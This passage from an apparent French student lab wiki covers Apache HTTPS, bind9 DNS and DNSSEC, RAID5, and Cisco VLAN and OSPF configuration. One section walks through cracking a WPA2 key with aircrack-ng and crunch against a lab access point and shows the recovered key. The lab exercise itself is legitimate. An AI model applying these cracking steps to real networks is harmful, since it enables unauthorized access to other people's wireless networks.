  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
